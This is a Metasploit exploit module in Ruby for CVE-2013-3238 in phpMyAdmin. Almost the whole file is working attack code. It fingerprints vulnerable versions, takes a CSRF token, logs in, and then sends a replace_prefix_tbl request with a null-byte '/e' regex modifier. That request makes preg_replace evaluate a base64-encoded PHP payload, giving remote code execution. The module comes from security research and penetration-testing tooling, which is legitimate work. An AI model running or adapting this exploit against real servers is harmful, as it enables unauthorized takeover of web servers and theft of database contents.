##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'		 => 'PhpMyAdmin Authenticated Remote Code Execution via preg_replace()',
			'Description'	 => %q{
					This module exploits a PREG_REPLACE EVAL vulnerability in PhpMyAdmin's
					replace_prefix_tbl in libraries/mult_submits.inc.php via db_settings.php
			},
			'Author'	 =>
				[
					'Janek "waraxe" Vind', # Discovery
					'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
				],
			'License'	 => MSF_LICENSE,
			'References'	 =>
				[
					[ 'CVE', '2013-3238' ],
					[ 'PMASA', '2013-2'],
					[ 'waraxe', '2013-SA#103' ],
					[ 'URL', 'http://www.waraxe.us/advisory-103.html' ],
				],
			'Privileged'	 => false,
			'Platform'	 => ['php'],
			'Arch'		 => ARCH_PHP,
			'Payload'	 =>
				{
					'DisableNops' => true,
					'Compat' => { 'ConnectionType' => 'find' }
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Targets'	 =>
				[
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Apr 25 2013'))

		register_options(
			[
				OptString.new('URI',   [ true,	"Base phpMyAdmin directory path", '/phpmyadmin/']),
				OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
				OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
			], self.class)
	end

	def uri(path="")
		normalize_uri(datastore['PATH'], datastore['URI'], path)
	end

	def check
		begin
			res = send_request_cgi({ 'uri' => uri('/js/messages.php') })
		rescue
			print_error("Unable to connect to server.")
			return CheckCode::Unknown
		end

		if res.code != 200
			print_error("Unable to query /js/messages.php")
			return CheckCode::Unknown
		end

		if res.body =~ /pmaversion = '(.*)';/
			print_status("Server version: #{$1}")
			case $1.downcase
				when '3.5.8.1', '4.0.0-rc3'
					return CheckCode::Safe
				when '4.0.0-alpha1', '4.0.0-alpha2', '4.0.0-beta1', '4.0.0-beta2', '4.0.0-beta3', '4.0.0-rc1', '4.0.0-rc2'
					return CheckCode::Vulnerable
				else
					if $1.starts_with? '3.5.'
						return CheckCode::Vulnerable
					end

					return CheckCode::Unknown
			end
		end
	end

	def exploit
		cookie_names = [
			'phpMyAdmin',
			'pma_mcrypt_iv',
			'pmaUser-1',
			'pmaPass-1',
			'pma_lang',
			'pma_collation_connection'
		]

		print_status("Grabbing CSRF token")
		response = send_request_cgi({ 'uri' => uri})
		if response.nil?
			fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
		end

		if (response.body !~ /"token"\s*value="([^"]*)"/)
			fail_with(Exploit::Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?")
		else
			print_good("Retrieved token")
		end

		token = $1
		post = {
			'token' => token,
			'pma_username' => datastore['USERNAME'],
			'pma_password' => datastore['PASSWORD']
		}

		print_status("Authenticating...")

		login = send_request_cgi({
			'method' => 'POST',
			'uri' => uri('index.php'),
			'vars_post' => post
		})

		if login.nil?
			fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
		end

		if login.code != 302
			fail_with(Exploit::Failure::NotFound, "Authentication failed.")
		else
			print_good("Authentication successful")
		end

		token = login.headers['Location'].scan(/token=(.*)[&|$]/).flatten.first

		cookie = ""
		cookie_names.each do |name|
			cookie << login.get_cookie(name) << " "
		end

		db = rand_text_alpha(3+rand(3))
		pay = Rex::Text.encode_base64(payload.encoded)
		evil = "query_type=replace_prefix_tbl"
		evil << "&db=#{db}"
		evil << "&selected%5B0%5D=#{db}"
		evil << "&token=#{token}"
		evil << "&from_prefix=%2Fe%00"
		evil << "&to_prefix=eval(base64_decode('#{pay}'))"
		evil << "&mult_btn=Yes"

		print_status("Sending exploit payload")
		exploit_result = send_request_raw({
			'uri'	  => uri('db_structure.php'),
			'method'  => 'POST',
			'data'	  => evil,
			'cookie'  => cookie,
			'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' }
		},2)

		if exploit_result
			print_error("Response retrieved from server, exploit failed.")
		end
	end
end